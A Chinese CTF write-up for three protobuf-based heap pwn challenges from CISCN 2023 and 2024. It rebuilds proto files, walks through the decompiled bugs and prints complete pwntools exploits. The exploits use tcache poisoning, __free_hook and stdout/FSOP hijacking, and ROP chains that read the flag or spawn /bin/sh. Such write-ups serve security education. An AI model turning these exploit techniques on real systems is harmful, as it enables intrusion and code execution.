.data.rel.ro:0000000000009C80 dq 0 ; reserved3

最终可以得出,前面三个成员的数据类型为sint64,最后一个成员的数据类型为bytes,所以可以自己写出proto文件了。

1
2
3
4
5
6
7
8
syntax = "proto2";

message Devicemsg{
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

然后只需要使用

1
protoc --python_out=. ./msg.proto

就可以生成python专用的脚本文件

之后只需要在exp中import就可以进行序列化交互了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

import Devicemsg_pb2

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(idx, size, content=b''):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 1
msg.msgidx = idx
msg.msgsize = size
msg.msgcontent = content
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def edit(idx, content):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 2
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = content
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def show(idx):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 3
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


def delete(idx):
msg = Devicemsg_pb2.Devicemsg()
msg.actionid = 4
msg.msgidx = idx
msg.msgsize = 0
msg.msgcontent = b''
r.recvuntil(b'You can try to have friendly communication with me now: ')
r.send(msg.SerializeToString())


for i in range(8):
create(i, 0xf0)
for i in range(8):
delete(7-i)

show(0)
r.recvline()
r.recv(0x50)
libc_base = u64(r.recv(8)) - 0x1ecbe0
print("libc_base => ", hex(libc_base))

show(1)
r.recvline()
heap_base = u64(r.recv(8)) - 0x590
print("heap_base => ", hex(heap_base))

setcontext = libc_base + libc.symbols['setcontext'] + 61
__free_hook = libc_base + libc.symbols['__free_hook']
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
puts_addr = libc_base + libc.symbols['puts']
ret_addr = libc_base + 0x0000000000022679
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
magic_gadget = libc_base + 0x151990

edit(1, flat(__free_hook, 0))
create(8, 0xf0)
create(9, 0xf0, flat(magic_gadget))

flag_addr = heap_base + 0x440

rop_chain = b''
rop_chain += flat(pop_rdi, flag_addr, pop_rsi, 2, open_addr)
rop_chain += flat(pop_rdi, 3, pop_rsi, libc_base +
libc.bss() + 0x500, pop_rdx, 0x50, read_addr)
rop_chain += flat(pop_rdi, libc_base + libc.bss() + 0x500, puts_addr)

payload = flat(b'./flag'+b'\x00'*2, flag_addr)
payload = payload.ljust(0x20, b'\x00') + flat(setcontext)
payload = payload.ljust(0x28, b'\x00') + rop_chain
payload = payload.ljust(0xa0, b'\x00') + flat(flag_addr + 0x28, ret_addr)

edit(8, payload)
delete(8)

r.interactive()

版本相关

最后需要注意的是,有时候会因为版本的差异

导致序列化的细节不相同

所以这时候就需要对应的版本

可以参考 Pwn进你的心 (ywhkkx.github.io)

ciscn2024-ezbuf

时隔一年,2024的ciscn又出现了两道protobuf的题目,这是第一天放出的最后一题

按照之前的方法写出proto

1
2
3
4
5
6
7
8
9
syntax = "proto3";

message Devicemsg {
bytes whatcon = 1;
sint64 whattodo = 2;
sint64 whatidx = 3;
sint64 whatsize = 4;
uint32 whatthis = 5;
}

然后生成python接口

1
protoc --python_out=. ./ezbuf.proto

这里在生成的时候遇到了一些问题,即提示版本不适配,

这个时候去protobuf: Protocol Buffers 下载要求的protoc版本,并使用其编译

然后再指定python的protobuf包版本与之匹配即可开始使用

1
pip install protobuf=version

然后写出交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def add(idx,content=b''):
msg = c_pb2.Devicemsg()
msg.whatcon = content
msg.whattodo = 1
msg.whatidx = idx
msg.whatsize = 0
msg.whatthis = 0
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

def delete(idx):
msg = c_pb2.Devicemsg()
msg.whatcon = b''
msg.whattodo = 2
msg.whatidx = idx
msg.whatsize = 1
msg.whatthis = 2
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

def show(idx):
msg = c_pb2.Devicemsg()
msg.whatcon = b''
msg.whattodo = 3
msg.whatidx = idx
msg.whatsize = 0
msg.whatthis = 0
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

这道题目有点意思,比赛的时候一直被show函数中的两个分支给迷惑了,一直在想这两个分支有什么用,最后结论是没软用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall show(unsigned int idx, int this, __int64 size, __int64 a4, char *content)
{
char delim; // [rsp+33h] [rbp-1Dh] BYREF
unsigned int v9; // [rsp+34h] [rbp-1Ch]
char *v10; // [rsp+38h] [rbp-18h]
char v11[15]; // [rsp+41h] [rbp-Fh] BYREF

*(_QWORD *)&v11[7] = __readfsqword(0x28u);
v9 = idx;
delim = this;
strcpy(v11, "hahaha");
if ( idx <= 8 && ptr_qword_C0A0[v9] )
v10 = (char *)ptr_qword_C0A0[v9];
else
v10 = v11;
printf("Content:");
if ( this == '\xFF' )
{
seccomp_load(qword_C328);
strtok(content, &delim);
v10 = strtok(0LL, &delim);
}
if ( size == '0' )
{
strtok(buf, &delim);
v10 = strtok(0LL, &delim);
}
printf("%s\n", v10);
free(buf);
if ( ++dword_C084 == 3 )
{
close(1);
close(2);
}
return *(_QWORD *)&v11[7] - __readfsqword(0x28u);
}

add函数,能够申请9个note

1
2
3
4
5
6
7
8
9
10
void *__fastcall add(unsigned int a1, __int64 a2, const void *a3)
{
unsigned int v5; // [rsp+2Ch] [rbp-4h]

v5 = a1;
if ( a1 > 8 )
v5 = 8;
*((_QWORD *)&ptr_qword_C0A0 + v5) = malloc(0x30uLL);
return memcpy(*((void **)&ptr_qword_C0A0 + v5), a3, 0x30uLL);
}

delete函数存在指针悬空

1
2
3
4
5
6
7
8
9
int __fastcall delete(unsigned int a1)
{
if ( (unsigned int)fnum_dword_C080 > 9 )
return puts("No chance!");
if ( a1 > 8 || !*((_QWORD *)&ptr_qword_C0A0 + a1) )
return puts("OOPS!");
free(*((void **)&ptr_qword_C0A0 + a1));
return ++fnum_dword_C080;
}

注意到初始化函数中,有初始化一套沙盒规则,但是只有在show中的一个分支会加载

完全可以避免,并且在初始化沙盒的过程中,堆布局被打乱了,不过这有一个好处就是初始的时候unsorted中就已经是有chunk的

然后protobuf过程会申请chunk,特别是content的内容位于一个独立的chunk,控制其大小就可以控制申请任意大小chunk

这样在add的时候memcpy就会将chunk上的残留的libc一起复制过来,然后只要填充8个字节就能泄露libc,至于泄露heap就更简单了

接着我们考虑如何做到任意写,show函数在调用完两次之后就不建议使用了,因为第三次使用就会加载沙盒,而我们也没有必须再一次泄露的必要

delete允许我们最多使用10次,首先想到的就是构造doublefree

这里有两种思路

  1. 填满tcache,释放victim到fastbin,在取出一个.再释放victim进入tcache,不过这种方式在是行不通的,因为之后取出的时候必然会先取出tcache中的,那么之后取出fastbin中的时候除非找到刚好的fakechunk,否则就会触发错误
  2. 第二种方式,即完全利用fastbin进行double free,填满tcache后释放一次victim,释放一个正常chunk防止fast的doublefree检查,然后再释放victim

采用第二种方法后就成功在fastbin中构造doublefree了,现在又面临一个问题,劫持fastbin时依然会受到fastbin的size检查影响

但其实完全不用担心这个问题,因为再引入tcache之后,就增加了一个机制,即从fastbin或smallbin中取出chunk时,如果对应tcache中有空余就将链中的chunk移动到tcache中

所以在我们第一次取出victim的时候,剩下的fastbin中chunk就已经移动到tcache中了,那也就没有那些检查了

ok,接下来考虑如何利用,我们的劫持的tcache链大小只有0x40,能写的只有0x30,下一步应该如何走

如果只有一次劫持机会,想要在这一次就完成利用几乎是不可能的,所以我们希望能够多几次劫持

最直接的一个思路就是劫持tcache结构体,但因为0x30太小了,不能在覆盖count的同时覆盖entry

所以选择二次劫持tcache结构体

注意到此时tcache如下

1
2
3
4
5
pwndbg> bin
tcachebins
0x40 [ 3]: 0x55f93cabb100 —▸ 0x55f93cabae40 —▸ 0x55f93cab60f0 ◂— 0x55f93cab6
0xd0 [ 7]: 0x55f93cab77d0 —▸ 0x55f93cab74a0 —▸ 0x55f93cab7170 —▸ 0x55f93cab6e40 —▸ 0x55f93cab6b10 —▸ 0x55f93cab67e0 —▸ 0x55f93cab6350 ◂— 0x0
0xf0 [ 1]: 0x55f93cab9260 ◂— 0x0

我们先劫持0xf0的chunk,使其指向tcache结构体的开头,再靠protobuf的任意chunk申请进行写操作

然后这时候就能够比较自由的任意写了,现在的话主要是两种主流的方法泄露stack劫持rop或者fsop

如果选择fsop就不需要再进行泄露了,不过因为这题无法main函数返回或者exit退出,所以只能通过printf进行fsop,一些模板的偏移可能需要进行一些调整

rop的话则还需要一次泄露栈地址,但不能使用show函数,那还能怎样泄露?自然是_IO_2_1_stdout_结构体

这一部分没啥好说的,注意调试就是了

采用rop方法的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import*
import c_pb2

elf_path='./pwn'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
u7f =lambda :u64(ru("\x7f")[-6:].ljust(0x8,b"\x00"))
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)

p=run()

def add(idx,content=b''):
msg = c_pb2.Devicemsg()
msg.whatcon = content
msg.whattodo = 1
msg.whatidx = idx
msg.whatsize = 0
msg.whatthis = 0
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

def delete(idx):
msg = c_pb2.Devicemsg()
msg.whatcon = b''
msg.whattodo = 2
msg.whatidx = idx
msg.whatsize = 1
msg.whatthis = 2
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

def show(idx):
msg = c_pb2.Devicemsg()
msg.whatcon = b''
msg.whattodo = 3
msg.whatidx = idx
msg.whatsize = 0
msg.whatthis = 0
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

def fill(content):
msg = c_pb2.Devicemsg()
msg.whatcon = content
msg.whattodo = 0
msg.whatidx = 0
msg.whatsize = 0
msg.whatthis = 0
sa(b'WHAT DO YOU WANT?\n',msg.SerializeToString())

for i in range(9):
add(i,b'aaaaaaaa')

show(0)
libc.address = u7f() - 0x219ce0 - 0x1000

leak('libc',libc.address)

delete(0)
show(0)
p.recvuntil("Content:")
heap = u64(p.recv(5).ljust(0x8,b"\x00")) * 0x1000 - 0x2000

for i in range(6):
delete(i+1)

delete(7)
delete(8)
delete(7)

print(hex(libc.address))
print(hex(heap))

for i in range(6):
delete(i+1)

delete(7)
delete(8)
delete(7)

for i in range(7):
add(i,b"A"*0x8)

environ = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(environ))
stdout=libc.sym['_IO_2_1_stdout_']


add(7,p64((heap+0xf0) ^((heap+0x4e40)>>12)))
add(8,b"AAAAAA")
add(8,b"A")


add(8,p64(0)+p64(heap+0x10))
fill((((p16(0)*2+p16(1)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1)).ljust(0x90,b'\x00')+p64(stdout)+p64(stdout)+p64(0)*5+p64(heap+0x10)).ljust(0xe0,b"\x00"))

fill(p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8))
stack = u7f() - 0x1a8 + 0x40
print(hex(stack))
fill((((p16(0)*2+p16(0)+p16(0)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1)).ljust(0x90,b'\x00')+p64(0)+p64(0)+p64(stack)).ljust(0xa0,b"\x00"))

pop_rdi = 0x000000000002a3e5 + libc.address
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
ret = 0x000000000002a3e6 + libc.address

fill((p64(ret)*2+p64(pop_rdi)+p64(binsh)+p64(system)).ljust(0x58,b"\x00"))
#dbg()

irt()

ciscn2024-SuperHeap

第二天的第一道题,是可恶的cgo,建议用ida8.3这样的话不需要人工恢复符号

有沙盒,seccomp-tools能够dump出来,看样子是要orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
seccomp-tools dump ./SuperHeap 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x08 0x00 0x00000029 if (A == socket) goto 0014
0006: 0x15 0x07 0x00 0x0000002a if (A == connect) goto 0014
0007: 0x15 0x06 0x00 0x00000031 if (A == bind) goto 0014
0008: 0x15 0x05 0x00 0x00000032 if (A == listen) goto 0014
0009: 0x15 0x04 0x00 0x00000038 if (A == clone) goto 0014
0010: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0014
0011: 0x15 0x02 0x00 0x00000065 if (A == ptrace) goto 0014
0012: 0x15 0x01 0x00 0x000000a5 if (A == mount) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0015: 0x06 0x00 0x00 0x00000000 return KILL

然后这题因为是golang的题目,可以直接用之前提到过的pbtk工具提取出proto文件

add以及edit需要使用protobuf交互,并且还进行性了base64/32编码,先对message每一个字段进行b64编码,再protobuf序列化,最后b32编码

漏洞是出现在edit中,memmove没有检查大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if ( len < 0x40000000 )
v49 = len;
if ( v62 != *(uint8 **)v48 )
{
runtime_memmove(*(_QWORD *)v48, v62, v49);
v83.0.ptr = v63;
v48 = v67;
}
v50 = 0x40000000LL;
if ( v60 < 0x40000000 )
v50 = v60;
if ( v65 != *(uint8 **)(v48 + 8) )
{
runtime_memmove(*(_QWORD *)(v48 + 8), v65, v50);
v83.0.ptr = v63;
v48 = v67;
}
v51 = 0x40000000LL;
if ( v59 < 0x40000000 )
v51 = v59;
v52 = (int)v64;
if ( v64 != *(uint8 **)(v48 + 16) )
{
runtime_memmove(*(_QWORD *)(v48 + 16), v64, v51);
v83.0.ptr = v63;
v48 = v67;
}
v53 = 0x40000000LL;
if ( (__int64)v83.0.len < 0x40000000 )
v53 = v83.0.len;
if ( v83.0.ptr != *(uint8 **)(v48 + 24) )
{
runtime_memmove(*(_QWORD *)(v48 + 24), v83.0.ptr, v53);
v48 = v67;
}

这个库函数的声明如下

1
func MemMove(to, from unsafe.Pointer, n uintptr)

那么就存在堆溢出,之后的就是常规套路了

一份参考exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import*
import base64
import bookProto_pb2
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

cont = bookProto_pb2.CTFBook()

def get_p(name):
global p,elf
# p = process(name)
p = remote("8.147.133.230",40626)
elf = ELF(name)


def add(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
p.sendlineafter("Enter your choice >","1")
p.sendlineafter("Index:",str(idx))

cont.title = base64.b64encode(title)
cont.author = base64.b64encode(author)
cont.isbn = base64.b64encode(isbn)
cont.publish_date = base64.b64encode(date)
cont.price = 41
cont.stock = 1
payload = base64.b32encode(cont.SerializeToString())
p.sendlineafter("Special Data:",payload)


def edit(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
p.sendlineafter("Enter your choice >","4")
p.sendlineafter("Index:",str(idx))

cont.title = base64.b64encode(title)
cont.author = base64.b64encode(author)
cont.isbn = base64.b64encode(isbn)
cont.publish_date = base64.b64encode(date)
cont.price = 41
cont.stock = 1
payload = base64.b32encode(cont.SerializeToString())
p.sendlineafter("Special Data:",payload)


def show(idx):
p.sendlineafter("Enter your choice >","2")
p.sendlineafter("Index:",str(idx))

def dele(idx):
p.sendlineafter("Enter your choice >","3")
p.sendlineafter("Index:",str(idx))
get_p("./SuperHeap")
# sleep(2)
add(0,b"A"*0x20)
add(1,b"A"*0x430,title=b"BBBBB")
add(2,b"A"*0x430)
add(3,b"A"*0x430)

dele(2)
edit(0,b"A"*0x30)

show(0)
p.recvuntil("A"*0x30)

heap_addr = u64(p.recv(6).ljust(0x8,b"\x00")) - 0x2e90

edit(0,b"A"*(0x70+0x440))
show(0)

libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x219ce0 - 0x1000
print(hex(heap_addr))
print(hex(libc.address))

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(libc.sym['_IO_list_all']) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

edit(1,p64(0x3730+heap_addr))
print(hex(libc.sym['_IO_list_all']))

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x3730) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

fake_io_addr = heap_addr + 0x3730
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
ROP_addr = heap_addr + 0x4000
ret = 0x000000000002a3e6 + libc.address
setcontext = libc.sym['setcontext']
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address

FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60

payload = (0xa0-0x10)*b"\x00" + p64(A) #
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)
edit(1,p64(0)*2+payload)

payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x4000) + p64(0x4044800000000000) + p64(200)

edit(0,payload)

payload = p64(pop_rdi) + p64(ROP_addr+0x100) + p64(pop_rdx) + p64(0)*2 + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rdx) + p64(0x40) *2 + p64(pop_rsi) + p64(heap_addr+0x1000) + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write'])

payload = payload.ljust(0x100,b"\x00") + b"/flag\x00"
edit(1,payload)

# gdb.attach(p,"b *$rebase(0x020D1C7)")
# sleep(2)

p.sendlineafter("Enter your choice >","6")
# payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(stack) + p64(0x4044800000000000) + p64(200)
# edit(0,payload)

p.interactive()